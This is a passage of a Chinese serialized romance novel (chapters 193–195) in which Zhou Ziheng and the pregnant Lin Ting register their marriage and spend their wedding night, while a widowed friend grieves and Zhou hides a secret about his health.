这戒指里有周自衡亲自放进去的微型卫星定位器。 正是因为没了这枚戒指,这大半年来周自衡才没有找到她和小柚子。 “你怎么把它找回来了?” 那枚戒指,被周自衡重新套进了林听的无名指。 怀孕后的林听,手指有些浮肿。 这枚戒指,周自衡重新调整过大小。 调整后,戴在她微微发肿的手指上,刚刚合适。 他握着她的手,“我知道江遇的死,对你和柚子都造成了一些阴影。毕竟你和他有过……” “周自衡,你听我解释。我没有因为他……” 周自衡笑着打断,“我都懂,我都理解。你还是恨他,不愿意原谅他,不愿意回头,但是你并不希望江遇这样死掉。我们的婚礼,等过段日子你生了孩子,休息一段时间再举行。我们先把结婚证领了。你愿意吗?” 这段有法律保护的婚姻关系,周自衡等了很久了。 他小心谨慎地观察着林听的细微反应。 怕她考虑到江遇刚死,会拒绝他,他紧张到手心冒汗。 握着她手指的手,也不知不觉力用攥了攥。 林听何尝没有察觉到,他的担忧和小心翼翼,她点点头,“好,我们先把证领了。” 语音落下,周自衡终于松了一口气。 握着她手指的力度,也终于松了松。 林听察觉到他细微的反应,心里全是心疼,这个男人到底是有多爱她,才会紧张到手心里全是汗? 周自衡立马拿起桌上的手机,翻出与洛高的通话记录,又播了出去,“洛高,把人叫进来。” 洛高在电话里应了一声,“好,民政局的人已经等了许久了。” 闻言,林听一脸惊讶,“周自衡,你把民政局的人,叫到家里来了?” 周自衡握着她的手,依旧紧张的手心里全是汗。 没有拿到结婚证之前,眼前的女人便不是他周自衡合法的妻子。 等她成为他合法的妻之前,每一分每一秒,心脏都像是被一只无形的手给攥住了似的。 他嗯了一声。 林听哭笑不得,“不用这样吧。明天或者下午,我们去民政局,拿个号,排个队,再领结婚证也是一样的。还能体会一下等待叫号的那种兴奋期待感。” “那不行。”周自衡把她的手拉到面前,亲了亲,“万一你下午反悔了呢?” 见这男人如此紧张在意,林听既是开心,又是心疼。 “我不反悔。”她说得坚定有力。 餐厅外。 张淑琴和洛婶两人,偷偷地听着墙角。 听到两人要领结婚证,她们笑得合不拢嘴。 张淑琴朝洛婶递了一个眼神,“走,别打扰小两口,我们过去说。” 第193章 周自衡终于如愿 周琪死后。 宋律风的心也跟着死了。 他不可能再娶别的女人。 周琪死后,就连他用整个青春年少来爱过的女人——林听,他都没有那样的心思。 否则当初他和林听成为名义上的夫妻之后,他不会为了成全林听和周自衡,那样爽快地把离婚证办了。 如果他有心思再娶,他和林听假戏真做就行了,何必把林听让出去? 这时的宋律风,因为怀念亡妻,一只脚踩在台阶的上面,一只脚踩在台阶下面,整个人像是石化了一样。 电话那头的张淑琴又说了什么,他没有听清。 他满脑子都是死去的妻子,可是妻子的容貌在他的脑海里,竟然是模糊的。 心忽然狠狠地疼了一下。 “妈!”宋律风没有正面回答张淑琴的话,“我要开庭了,先挂了。” 这悲凉的声音,落入张淑琴的耳朵里,让张淑琴胸口一阵窒息,她这个女婿最大的优点就是对婚姻对伴侣绝对忠诚。 但他最大的缺点也是如此,就是对婚姻太忠诚了,不管她和周国立怎么劝他放下过去,他都不肯走出来。 挂了电话,张淑琴瞧见洛高已经领着民政局的人,进了客厅,然后朝餐厅走去。 她的心情这才缓过来。 幸好小听和周自衡终成正果。 张淑琴是无比欣慰的。 开庭前,宋律风给周自衡发了一条微信:恭喜!愿你和小听良缘永结,琴瑟百年! 此时此刻的周自衡,刚刚拿到结婚证。 他看到宋律风的祝福时,嘴角止不住往上扬。 不过他没有功夫回复宋律风的微信,他把手机撩到一边,看着同样没反应过来的林听,他自己也像是做梦一样。 眼前这个大着肚子的女人,在他梦里出现过千百回。 无数次梦见她成了他的妻。 今天,终于如愿了。 看着她,他眉眼未动,内心却已是掀起了千层浪。 林听看了看结婚证上的照片,又看了看周自衡。 这个男人,不仅本人帅气好看,连照片也好看,他是属于那种特别上相的男人。 证件照的红底,将他的肤色衬得愈发清透,眼神沉静不张扬,唇角带着微微的笑意。 这样的笑意,只会在她面前展露。 拿着手中的结婚证,林听也是唇角上扬,“周自衡,娶了我,你会不会不划算呀。” 毕竟他是一个近乎十全十美的男人,而她有那么多不堪的过去。 旁边的洛高当了嘴替,道,“太太,家主等这一天,可是等了很久了。我上初中的时候,我家人没钱看病,刚认识他的时候,我就看到他小心翼翼收藏着你遗失的那对珍珠耳坠。你可别看家主现在看起来很平静,没准他心里真偷着乐呢。” 偷着乐的人又何止是周自衡。 还有跟捡到宝似的林听。 她大大方方承认道,“嗯,我也偷着乐呢。” “结婚证归我保管。”周自衡把两本结婚证,从她手里抽走。 旁边的柚子,垫起脚尖来,“爸爸,我可以看看你和妈妈的结婚证吗?” “当然!”周自衡又把结婚证,递给了女儿柚子。 拿到结婚证的柚子,不停地夸赞道,“我爸爸最帅了,我妈妈也最漂亮。爸爸,不知道妹妹出生以后,是像你多一点,还是像妈妈多一点?” 旁边的张淑琴笑得合不拢嘴,“不管像爸爸还是妈妈,肯定都会和小柚子一样漂亮。” 江嘉树也是满脸都是笑容,小听阿姨终于嫁给了想嫁的人。这个时候的江嘉树,已经七岁了,他完全懂得什么是嫁,什么是娶。 看了小听阿姨和阿衡叔叔的结婚证,江嘉树的目光,落在了柚子那张甜美的侧脸上。 似在憧憬着什么。 所有人都是开心快乐的,唯独站在柚子旁边的落落,忽然有些失落:如果妈妈还在就好了,她和爸爸也会像小听阿姨和阿衡叔叔一样恩爱甜蜜。 可是,妈妈去了天上。 每次落落想妈妈的时候,只能在夜晚里趴在窗前,看着天上的星星,偷偷落泪。 这一天。 林听和周自衡沉浸在新婚的喜悦中。 宋律风却沉浸在思妻的痛苦中。 庭上的案子,审了一半,中场休庭。 宋律风走出休息室,站在一棵树上,用力地吸了一大口气。 鹏城的阳春三月,风是清凉的。 可是罐进胸口的空气,却像是长了刺似的,带着尖锐的倒刺,扎得他胸口钝痛。 一只大掌落在他的肩头,轻轻拍了拍。 拍他的人,是他的搭档加合伙人——苏少辰。 苏少辰递给他一瓶脉动,“见你魂不守舍的,又想周琪了?” 宋律风是一个对工作十分认真的男人,能让他在出庭的时候走神的人,只有死去的周琪。 这个男人每天都在强颜欢笑。 每天都在用工作麻木自己。 苏少辰不是不知道,“你休息一段时间,带着落落和盼盼,出去散散心吧。” 自从周琪死后,这个男人没休息过一天。 “律所那么忙,我……” 苏少辰斩钉截铁,“忙是借口。你真的应该带着孩子出去散散心了。” “再说吧。”宋律风拧开瓶盖,喝了一大口,“走吧,进去了。” 他往回走时,那玉树芝兰的背影落在斑驳的阳光里,却透着无尽的落寞。 苏少辰不由摇了摇头——真是个痴情的男人,快两年了,这个男人还没有走出来。 结束后,宋律风一个人开着车子,去了墓地。 墓碑前,一束粉白相间的玫瑰,被宋律风轻轻地放下。 他也轻轻地蹲了下来,摸着冰凉的碑石,又摸着碑石上周琪的黑白照,“老婆,你为什么不托个梦给我?” 照片上的女人,明明是他朝思暮想的人。 可是他竟然快要记不住她的模样了。 每次想起来,都是那样的模糊。 “你好歹托个梦给我,告诉我你在那边过得好不好。” 没有人回应他。 唯有从身边掠过的风,穿过他的指缝,轻轻地吹在碑石上的照片上。 看着这张定格在某个年轮里的照片,宋律风喉咙发紧,鼻子一酸,眼圈忽然红了起来——老婆,我好想你,你知不知道? 宋律风好想借酒消愁。 所以来周琪的墓碑前时,他带来的东西除了周琪喜欢的花以外,还带了一瓶威士忌。 他坐在冰凉的地上,靠着周琪冰凉的墓碑,拧开了瓶盖。 耳边回想起周琪关心体贴的话来。 “老公,你去应酬的时候,不能喝酒。” “老公,你胃不好,不可以喝酒哦。” “老公,你要是不开心的时候不要喝酒,只要你不喝酒,你让我干什么,我都愿意。” 上大学的时候,周琪知道宋律风喜欢借酒消愁。 那时的他,爱而不得,只能远远地瞧着林听和江遇恩恩爱爱,每次都会难过得一个人喝酒。 从那个时候开始,周琪就默默守在他的身边,有一次他喝醉了,是周琪把他送回男生宿舍。 后来,周琪终于把他追到手了,她叮咛得最多的事情,便是不让他喝酒,因为他的胃早在大学失恋的时候,便喝出了毛病。 那些千叮咛万嘱咐的话,仿佛还在耳边,字字句句,如雷贯耳。 可是,周琪已经躺在了这冰凉的墓地里。 威士忌的瓶盖刚刚拧开,宋律风又悲痛地说了一句,“老婆,你现在都不管我了,你管管我好不好?” 他恨自己,为什么周琪活的时候,没有发现她对他来说这般重要。 怕周琪伤心难过,那瓶威士忌,他终究是一口也没有喝,只能把心口的所有思念与痛苦全埋起来,谁也无法诉说。 宋律风在墓地里思念着周琪痛苦难过时,君悦府那边,正是热闹喜庆之时。 几个孩子,落落、嘉树、柚子,还有小不点盼盼,围着几个大人们烤着烧烤。 周自衡不喜欢吃这些不太健康的食物,但林听和孩子喜欢,他便由着。谁又说大着肚子的孕妇,不能吃这些,这些食材都是精心准备的,安全放心,偶尔解解嘴馋,也不是不可以。 林听喜欢用生菜包着烤五花肉和泡菜,一口吞下。 他便早早让人在庄园里,种下了纯有机的生菜。 这烤五花肉,还是周自衡亲自烤好了,包在生菜里,喂进林听嘴里的。 孩子们在家里玩了一整天,午饭吃的是烧烤,晚饭吃的偏清淡一些。 结束后,孩子们自行去玩。 周自衡则拿起电话,单独给江书臣打了一通电话。 这时的江书臣还在林江医药的医药工厂里例行视察,他穿着无菌服,戴着帽子,穿着鞋套,参观在流水线上。 旁边的车间经理给他介绍着,“臣总,这是之前遇总亲自研发的能缓解痛经症状的,药字号卫生巾,现在已经升级到9代了。” 在林江医药,他和江遇都姓江,所以为了区分两个总裁,他被称为臣总,江遇被称为遇总。 这款药字号的卫生巾,江书臣记得特别清楚。 那是林听还在上大学的时候,江遇亲自研发的,那时林听经常痛经,一痛起来脸色发白,额头冒冷汗,要在床上躺整整一天。 市面上那些卫生巾,很多不是含甲醛,便是黑心棉,或是这样那样超标,还有报导称会致癌。 江遇一是为了缓解林听的痛经症状,二是想让林听用到放心安全的医药级别的卫生巾,花了整整五年的时间来研发。 刚开始研发的时候,他们两人恩恩爱爱,每天都腻歪在一起。 等江遇研发成功后,两人却因误会和江遇的不信任,而劳燕分飞。 现在产品升级到九代,林听怀了周自衡的孩子,成了周自衡的妻。 而江遇,为了他的执念,也是为了爱情,葬身在了茫茫大海。 这条产品线,勾起了江书臣许多回忆。 他埋怨江遇固执己见,不听他的劝,可他更心疼他,他永远失去了这个好兄弟。 车间经理见他站在流水线上发着呆,喊了他好几声,“臣总?” “卫生安全一定要严抓,品质要把控好,这是遇总最初的初衷。” 离开车间,到了更衣室,江书臣换衣服的时候才发现,装在袋子里的手机有好几个未接电话。 全是周自衡打过来的。 他换了衣服,回拨过去。 周自衡给他打了好几个电话没人接,他又回到林听身边,给肚子里的小唯一念胎教故事了。 这会儿看到江书臣回过来的电话,他放下手中的胎教书,吻了吻林听额头,随即起身,“我和书臣说点事情。” 林听点点头,“好!” 周自衡走到落地窗前,看着几个孩子在草地上和一条白色的狗狗在玩着飞叠。 那只狗狗叫肚兜,是林振宇花了很大的心思,为柚子买来小白狗。 这只小白狗,长得和柚子以前的小狗一模一样,名字也取的一样,可是以前那只狗狗被车撞死了。 所以,林振宇为了讨柚子喜欢,寻遍了很多宠物基地,才买回来一只一模一样的。 当然,柚子接受了这只肚兜,却并没有因此而喊林振宇一声舅舅,小柚子永远忘不了这个大坏蛋对妈妈做过的那些坏事,但她很有礼貌地说了声谢谢。 周自衡挺拔英俊的身影,站在落地窗前,骨节分明的手指,划开接听键。 那头,传来江书臣温文儒雅的声音,“阿衡,有什么事?” 周自衡依旧盯着玻璃窗前,和狗狗玩着飞盘游戏的几个孩子,目光落在嘉树矫健的小身影上,淡淡道,“你什么时候过来接你儿子?” 以前他不喜欢孩子,除了柚子以外。 但这些天林听怀着他的孩子回来了,小家伙每天都会在肚子里动来动去,有时候他的手掌落在林听的肚子上,能清晰地感受到小家伙的生命力。 自此,他觉得每一个孩子都应该被疼爱,被保护,包括小嘉树。 他不过才七八岁,比柚子大一两岁而已,虽然像个小男子汉,可他依然只是个孩子。 不知道小嘉树知道自己的母亲做出那样的事情来之后,会不会受到伤害。 第194章 吻我! 此时此刻,江书臣一手握着手机,一手将脱下来的无菌服挂在墙上,然后走出更衣室。 他还要回到林江医药的总部,去处理别的整理。 而这个点已经夜里七点多了,他还没有吃晚饭。 坐进车里,他又对电话那头的周自衡说,“阿衡,我打电话让静姝过去接嘉树,我实在抽不开身。” “我不想看到你老婆。”周自衡的声音很清冷,透着对夏静姝无尽的讨厌。 不过他已经很克制了,否则早就对江书臣说出实情了。 江书臣启动引擎,把手机按了免提,放在一边,“静姝是不是又说了什么惹小听生气的话了,我已经特意吩咐过她别乱说话了。她还是没忍住吗?” 周自衡没答。 他说的根本不是这件事情。 江书臣开着车子,离开郊区医药厂,“阿衡,你向小听解释一下,静姝其实也没坏心眼。她是从小和江遇一起长大的,江遇突然出了意外,静姝心里多多少少有些难过。不过她确实不应该把这件事情的原因,归咎到林听身上。我已经跟她好好谈过了。这样吧,小听不想见到静姝,我让司机去接嘉树。” 周自衡坚持,“你亲自来一趟。” 江书臣把车子开在郊区的车道上,“我今天真的没空,忙完了都很晚了。” 周自衡:“让嘉树今晚住这里,你明早来接也行。” 江书臣:“有什么事电话里说不行吗,非要等我过去一趟。” 周自衡:“林江医药真的那么忙吗?” 江书臣:“你又不是不知道,自大半年前阿遇套现了两千个亿的现金流后,林江医药遇到了危机,而且这些事情只有我一个人扛。林叔天天研究怎么获得小听的原谅,完全没心思管集团的事。我要是再不上点心,集团早就出乱子了。” 周自衡:“你有多久没有抽时间陪过嘉树了?” 江书臣:“记不清了。” 既然没时间陪嘉树,肯定也没时间陪夏静姝。 不过这并不是夏静姝出轨的理由。 早在大半年前,林听还没有被江遇藏到国外时,周自衡便查到了夏静姝出轨的一些铁证。 这些铁证,他不方便直接甩在江书臣面前,那样对嘉树太残忍,对江书臣也太残忍。 他又说,“今晚和明早,你抽个时间,必须来我家一趟。” 说完,周自衡便挂断了电话。 江书臣依然在郊区的车道上,独自驾驶着他那辆红旗国宾。 其实江遇出事之前,又另外送了他一辆新定制的国产比亚迪,那辆车虽是国产,却防撞防弹震,但是他没舍得开。 这辆红旗轿车,他和江遇周自衡也各有一辆,七八年了,还是小听没有入狱的时候江遇买来送给他和周自衡的。 这代表着他们之间的兄弟情。 他开着车子,叹了一口气,自言自语道,“也不知道这阿衡是有什么重要的事情,非得见面说吗?” 回到林江医药集团,江书臣直接在江遇的办公室里办公。 不过忙正事之前,他给周自衡发了一条微信:如果小听不想见到静姝,那我明早去接嘉树,麻烦你们照顾一下。 放下手机,江书臣打开了江遇的抽屉。 抽屉里,有一对陶瓷娃娃,那是小听摔碎无数次,江遇又修复无数次的陶瓷娃娃,当时跟着小听吴婶陈叔,一起乘着那辆可以航海的轿车,被带回来的。 小听不愿意留着这对陶瓷娃娃,交给了江书臣。 江书臣只好把它们放在江遇的抽屉里。 “阿遇,你和小听的感情就像是这对陶瓷娃娃一样,就算修复好了,也是有裂痕的。” “你怎么就不明白?” “如果你不那么固执,又怎么可能年纪轻轻就此丧命?” “你说你是不是活该?” 江书臣虽是说着责备江遇的话,眼角却滑出几滴泪来,不过他很快投入到了忙碌的工作当中——阿遇,当初你力挽狂澜救林江医药与危难之间,你打下的事业,无论如何我都会替你守住。 …… 君悦府。 周自衡见林听在翻看着一本历史书籍,那是一本关于曾国蕃的人物传记。 她坐在沙发上安安静静地看着书,旁边放着胎教音乐,关于他和江书臣聊了些什么,林听一个字也没问。 他坐到她的身边,轻轻地摸了摸她的脑袋,“你怎么不问我?” 林听的视线,依旧落在这本人物传记之上,最近她感觉自己有些浮躁,可能是江遇的死,对她还是有些打击,但要提有多难过,也并没有。 只是和她曾有过那些深的交集的人就这样死了,总是觉得不应该这样。 她希望的结局是,她不原谅江遇,江遇也不来打扰她的生活,以后桥归桥,路归路,不再有交集。 就算偶尔见个面,也不会再因为曾经的那些往事,而泛起任何波澜。 不应该是以江遇的死而结局。 到他死,林听都无法原谅这个男人。 她看着书,问道,“问你什么?” 周自衡答,“刚刚我和书臣聊了什么。” “周自衡,这不像是你的风格呀。”林听这才放下手中的人物传记。 长长的睫毛轻轻一抬,目光落在神色间有一种挫败感的周自衡身上。 周自衡的挫败感在于,以前林听和江遇在一起的时候,总会粘着他,每天到晚叽叽喳喳的,他们两有聊不完的话题。 可是林听和他在一起后,她好像变得更安静,没有她粘着江遇的那种热恋感。 或许,她经历了很多事情,早就过了热恋的年龄。 可是这对于他来说,却是他的第一次恋爱,他期望着林听能对他热情一些。 今天可是他们刚刚领结婚证的第一天,不应该像是新婚夫妇一样吗? “林听,你太淡定了。” “难道你希望我像别的小女生一样,每天盘问你的行踪,问你跟谁打了电话,聊了什么?” 周自衡没说话。 林听笑了笑又说,“周自衡,要是你想告诉我,我不问你也会说,我何必多问呢。” 周逢衡扣紧她的手,滚烫的掌心紧贴着她的掌心,“今天我们领证第一天,你有新婚燕尔的感觉吗?” “嗯……”林听想了想。 手指落在周自衡挺拔的鼻梁上。 最后滑到鼻尖处,俏皮地点了点,“要我说实话吗?” 周自衡喉结滚动,“嗯。” 这男人喉结滚动上,脖颈上凝聚着一股男人的力量。 那样一张铁血冷硬如刀削般的脸,却又蕴含着他少有的柔情蜜意。 林听的手指,慢慢滑到他的脖颈处,这有意无意的肌肤轻触,让周逢衡体内血液燃烧。 他抓住了林听的手,一脸严肃,“好好说话,别闹了。” 林听言归正传,“我觉得我们俩像是上辈子就认识了,很熟悉。没有那种轰轰烈烈的感觉,但我就是觉得离不开你。所以我被江遇困在岛上大半年,却每天都坚持想回国。” 这样答,周衡应该满意吧? 这是她心里的实话,不掺假。 周自衡听后,不但不满意,反而还紧蹙着双眉,眉心聚拢成小山头状。 “还不满意啊,那我可没办法说假话。” 她又问,“你想听动听的情话吗?” 见他不答,她附到周自衡的耳畔边,俏皮一笑,“你刚刚喉结滚动的时候,好帅!今天不是新婚之夜吗,想不想做?” 这是什么虎狼之词? 周自衡眉心蹙得更紧。 目光落在林听隆起的大肚子上,目光更加深邃而浓情。 他忍着想要把她拥紧的冲动,连呼吸都轻了些,生怕自己克制不住会有什么伤害到她的行为。 随即假装清冷禁欲,轻轻弹了弹她的额头,“别勾引我。” “不想?”林听又调皮一笑,“那算了,今天晚上你睡书房。” “那不行,我还要给我女儿讲睡前的胎教故事。” 不过在他和林听肚子里的小唯一,讲胎教故事之间,他还要先将小柚子哄睡。 小柚子习惯了听周自衡给她讲睡前故事,在岛上的时候,天天晚上都盼着这一刻。 今晚却是例外了。 因为江嘉树今晚没人来接,他不得不留在这里。 洛婶给安排了客房,小柚子吵着闹着要嘉树哥哥陪着她一起睡。 虽说男女有别的安全意识要从小抓起,但柚子才六岁,嘉树也不到八岁,两个孩子还小,林听便同意让两个孩子今晚睡在一起。 于是,今天晚上,小柚子将准备要给她讲胎教故事的周自衡,亲自推到了房门外,“爸爸,今天晚上不用你给我讲睡前故事啦,我有嘉树哥哥有很多俏俏话要说,你回妈妈房间吧,晚安!” 说着,小柚子挥了挥手。 碰一声! 关紧了房门。 周自衡有种老父亲被赶出来,自己的女儿被别的男人抢了的感觉。 虽然嘉树还小,但周自衡已经预见了将来这两个孩子长大后,从小青梅竹马,将来喜结连理的那一幕。 江嘉树是江书臣的儿子,人品三观靠得住,以后要是两个孩子真成了一对,周自衡不会反对,可是柚子还这么小,他便开始担心她和他这个老父亲不亲的那一天了。 他回到和林听的房间里,“被女儿赶出来了。” 瞧他一脸失落感,林听笑了笑,“你失落什么?柚子也有自己的秘密,她肯定是和嘉树哥哥有很多悄悄话要讲。在岛上的时候,她可想嘉树哥哥了。” 周自衡坐到床边,认真地问,“那她是想嘉树哥哥多一些,还是想我这个老父亲多一些?” 林听往脸上涂抹着孕妇可用的护肤品,“这我可不知道,要不,你亲自去问问柚子?” 还用他亲自去问吗? 明显,小柚子是更想嘉树哥哥,所以今天才如此干脆利落把他赶了出来。 平日里,柚子可是最喜欢听他讲睡前故事,讲完一个,又要缠着他接着讲好几个,直到她听着听着睡着了,都会一直抱着他的手臂不松手。 他这个老父亲,可犯愁了,“你说柚子长大后,会不会像你小时候跟在江遇后头一样,一直粘着嘉树?” “阿衡,我们今天可不可以不要聊到江遇?我不想聊到这个人。” 林听无法忘记那天在海上的场景。 整艘游轮,都被海盗的炮火轰击着。 她没有见到柚子,也没有见到江遇,杰西一掌砍在她的后脖颈,醒来后便听杰西说,游轮已经沉了。 柚子回来了,哭着诉说着江遇为了替她挡刀挡枪,掉进了海里。 这个男人不应该这么死去。 她讨厌这个男人以这样的方式,留在她的记忆里,她宁愿从来不曾认识过他。 柔软的唇,落在周自衡轻轻合在一起的薄唇上。 “阿衡,吻我。” 周自衡眼皮未动,心底却已掀起了狂风巨浪,一股燥热直冲头顶。 宽厚的大掌,落在林听虽是有了身孕,却依旧没有一丝赘肉的腰间,轻轻将她往后推了推。 “林听,你是因为想忘却痛苦才亲我,还是真的想亲我?” 林听停下来。 睁开眼来,长长的睫毛往上一扬。 眼里不知何时,已经有了泪水,她想起这个男人在很久以前为了成全她,在医闹事件中,挡在那红彤彤的刀子前,救下了江遇的性命。 想起苏秀珍背刺她一刀时,这个男人徒手抓着那寒冷锋利的刀刃。 想起苏秀珍最后想和她同归于尽时,这个男人又是选手抓住了苏秀珍的刀子。 他才是那个真正疼她爱她的人。 那个能护住她的人是周自衡,而不是自以为是的江遇,江遇以为他这样壮烈的死去,她就会原谅他吗,不——他只是蠢。 “阿衡,我只想告诉你,如果最初是你,那该多好。” 柔软的唇,又落在了周自衡的唇间。 纤细的手掌,解开他腰间的系带,“阿衡,除去怀孕前三个月和后三个月,其实是可以做的。只要小心一些就好。今天可是我们的新婚夜,你真的不想吗?” 周自衡也知道。 可是他怕自己控制不住,会伤害到她和她肚子里的宝宝。 林听缠住他挺拔有力的脖颈,细声软语道,“没事的,阿衡,你动作轻一点就行了。” 这天晚上,周自衡隐忍又克制,放纵又肆意…… 第195章 换我出力 林听已经很久没有做了,更没有在孕期有过夫妻生活。 她是生疏的。 周自衡就更不用说了。 这个男人今年三十四了,从他发育完成,成了一个拥人正常生理需求的热血青年,一直憋到大半年前林听终于愿意跟他在一起。 就那么一夜。 他能有什么经验? 加上林听大着肚子,虽然他也知道除去怀孕的前三个月和后三个月,夫妻之间适当有性生活反而能改善夫妻关系,缓解孕妇孕期的烦燥。 可是这个男人太害怕伤害到林听了。 许久,许久,都未成功。 静谧的夜色里,林听不过是微微蹙了蹙眉,攀紧周自衡脖颈的动作紧了紧,周自衡便停下来,一动不敢动。 他像个犯错的小孩子一样,看着朦胧月光中,闭着眼睛的她,“对不起!我是不是太不会了?” 林听缓缓睁开眼睛来,幸福一笑。 她笑着的时候,肩头的一缕青丝长发从纤细白皙的脖颈处滑下来,轻柔地垂在白皙的锁骨处,又轻轻地碰了碰周自衡的手臂。 男人顿时屏住了呼吸,有什么东西在身体里掀起了狂风巨浪似的,就要冲破他的心脏。 可男人只能克制,隐忍。 他从林听身上下来,搂着她,“我怕伤害到你和小宝。” “你要是不太会,那换我。” 大着肚子的她,身材却丝毫不臃肿,纤细的胳膊,纤细的腿,露着骨窝的锁骨。 男人的目光扫过这些地方。 喉结滚动。 声音轻柔又克制。 “真的可以吗?” “嗯。” 这一夜,在林听的引导下,变得美好而甜腻。 一切结束后,林听躺在周自衡紧实的胸膛上。 周自衡宽厚温暖的大掌,轻抚着她的肚子,“小宝好像睡着了,她都没有动了。” “小宝刚刚还动了一下,只是你没感觉到。” “我再试试。” 大掌在林听大大的肚子上移了很多个位置,最后终于感受到小唯一轻轻的蠕动。 “周自衡,我告诉柚子,你给小宝取的名字叫林唯一,她很喜欢呢。” 现在已经能确定,肚子里的二宝是个女孩了。 林唯一这个名字,林听和小柚子都很喜欢。 两姐妹一个叫林瑾一,一个叫林唯一,虽然是两个不同的男人取的名字,也是两个爸爸,但是林听相信将来唯一妹妹和瑾一姐姐,必定会十分相亲相爱。 林听从来没有想象过,柚子也会有当姐姐的这么一天,还能融入到新的家庭里,有这般温柔细致的爸爸。 林听的小脑袋昂起来,借着夜色,瞧着周自衡事后的一脸靥足,“周自衡,真的好后悔,小的时候没有发现你的好。” “不过没关系。”她的手指,轻轻落在他挺拔的喉结处,俏皮地摸了摸,“往后余生还很长,来日方长,我们可以一起慢慢变老,真好!” 这样的情话,却并没有让周自衡有多开心。 他脸上的笑容反而僵了僵。 刚刚柔软的五官线条,这会儿紧紧一崩,在夜色中染上几分挥不去的忧虑。 眉峰高高隆起,仿佛有解不开的心事压在眉间。 这样的忧虑,林听丝毫没有发现。 她埋在他的怀里,跟他讲着她的心里话。 “周自衡,你知道吗,我在国外的岛子上时,虽然有柚子陪在我身边,但是我心里好慌。” “我每天都很难入睡。” “我走的时候你身上本来就有伤,我害怕你在国内被周家那些人算计坑害。” “可是我根本没有办法联系到你。” “我每一次上街,都不是为了逛街,仅仅只是希望找到一丝一毫能够摆脱江遇,联系到你的机会。” “但是太难了。” “这半年我过得一点也不好,不过没关系,我终于回到你的身边了。” 林听和周自衡说了这么多真心话,按理说,周自衡应该开心才是,可他没有,他的鼻息里似有轻轻的叹息声。 有什么话想对林听说,却最终又什么都没有告诉她。 长臂圈着她的肩膀,轻柔地揉了揉她的脑袋,“是我不好,没有好好保护你。” “不怪你。”林听知道,一切的错都在那个人的身上。 他活着的时候,她不愿意提到他的名字。 他死了,她更不愿意提起。 “周自衡,我们去洗洗吧。” “嗯。” 一番清洗后,林听穿上衣服,去了柚子的房间。 柚子和江嘉树早就睡着了。 女孩子粉粉的床上,躺着两个小朋友,江嘉树睡得倒是十分规矩,小柚子的睡相却不太好看。 她抱着娃娃,两只腿都压在江嘉树的肚子上。 林听扶着腰,正要弯腰把柚子的腿拿下来,周自衡快了一步,“我来。” 看到江嘉树和柚子现在青梅竹马的样子,这个老父亲现在就开始担忧,以后这臭小子会把自己的宝贝闺女给拐跑了。 给两个孩子盖好了被子,周自衡牵着林听回了房。 周自衡关上门,林听走向床边,边走边说,“柚子和嘉树也算青梅竹马吧,不知道这两个孩子长大了会发展成什么样子。” 不管什么样子,她这个当妈的,都会支持孩子。 说话间,她已经重新躺到了床上,周自衡也在她的身边躺下来,“我倒希望嘉树和柚子永远都只是纯友谊。” “为什么,嘉树这孩子跟着书臣哥,从小耳濡目染,以后肯定也会是个宠老婆的好男人。我倒是希望嘉树和柚子将来长大了能成为会一对。” 未来女婿若是自己从小看着长大的,也知根知底。 周自衡:“希望我们的女儿慢一点长大。” 因为女儿们长大了,就要嫁人,他舍不得。 …… 翌日。 周自衡起的比较早。 他最近喜欢亲自下厨,为林听准备各种孕妇餐。 洛高在旁边陪着,顺便向他汇报了一些事情。 林听今天起的比平日早,看到周自衡又在厨房里准备早餐,她挺着大肚子,缓缓走过去。 “周自衡,你最近不用忙工作的事情吗,每天都在家里。” 周自衡今天熬的汤,依然是为林听消除孕期水肿的汤,他搅着锅里翻滚的玉米须瘦肉汤,然后把火调到最小。 旁边的洛高说道,“太太,对家主来说,还能有什么事情能比您更重要。” “周自衡,你不用把全部的时间都花在我身上,来日方长,未来你还有很多时间陪我。你要是有重要的事情要忙,你就去忙,真的别只顾着我。” 从她回到至今,周自衡没有离开过她半步。 她真怕因为她,耽误了他的正事。 听到她说来日方长,周自衡手上的动作停了下来,眉心微蹙,似有心事萦绕在眉间。 连旁边的洛高,也不由皱了皱眉,有些忧愁地看着周自衡和林听二人。 周自衡放下手中的东西,转身回头,揉了揉林听的脑袋,“放心,集团的事情有专门的人打理,有什么重要的事情,我都会线上处理。” 他补充道,“至少你怀孕到生产坐月子这段时间,我都会留在你身边,好好陪着你。” 林听这一胎,不要太幸福。 那个时候怀着柚子时,她是在监狱里度过的。 她从林家的千金大小姐,成了阶下囚,最爱她的亲人和男人一个个的都离开了她,亲手把她送进监狱里,那日子苦不堪言。 然而怀了周自衡的孩子,她每天都被照顾得很好,周自衡更是寸步不离地陪着,她心满意足一笑,“老公,辛苦你啦!” 周自衡愣了一下,“你叫我什么?” 林听:“老公!” 周自衡轻抿的唇,露出微笑的弧度,“再叫一遍。” 连旁边的洛高,也不由偷偷地笑了笑。 “不要太贪心,来日方长,反正以后你都是我的老公。”林听俏皮一笑,随即扶着腰慢慢转身,“我去看看柚子和嘉树醒了没有。” 周自衡望着她的背影,轻声吩咐,“走路慢一点。” 等她走远,洛高在旁边压低了声音,十分担忧地问道,“家主,太太知道你暗恋她很久了吧。” “嗯。” “那她知道,你当初为什么没有追求她吗?” “那件事情,不要告诉她。” “家主,我觉得你应该告诉太太,她有知情权。” “我说了,不要告诉她。” “可是你的身体情况,太太早晚会知道。” 周自衡没有说话,他尝了尝砂锅里熬着的玉米须瘦肉汤已经好了,关了火,“她的日子过得太苦了,我只想让她尝尝更多的甜。” “可是……好吧,你不让太太知道,我会守口如瓶的。” …… 九点。 一辆黑色的红旗国宾,缓缓驶进君悦府周自衡的别墅大门。 江书臣从车上下来,见到柚子和嘉树在草地上和一只白色的小狗快乐的玩耍着。 “肚兜,接球。” “肚兜,到我这里来。” 白色的小狗,奔跑在绿色的草地上,在两个小朋友之间穿来奔去。 周自衡就坐在草地的木椅上,拿着手机,给孩子们拍着视频。 江书臣走近,“阿衡,没想到你还会给柚子拍视频。不过你不是对动作毛发过敏吗,怎么同意让柚子养狗。” “已经不过敏了。”周自衡拍到最珍贵的一幕,又回放看了看。 视频里的柚子开心快乐,他很满意。 他不会告诉江书臣,自己动物毛发过敏一直没有好过。 因为柚子喜欢这只肚兜,他特意去打了抗过敏的针剂,只要每个月提前打两针,就能缓解过敏症状,几乎不会被发现。 江书臣坐到他旁边,“三十年的过敏症状,说好就好了?” 周自衡收了手机,“最近你很忙?” “能不忙吗?”江书臣叹了一口气,“江遇丢下一堆的烂摊子,林叔又完全不管。” 周自衡看着江书臣,眼皮未动,神色严肃,“最近和夏静姝关系怎么样?” 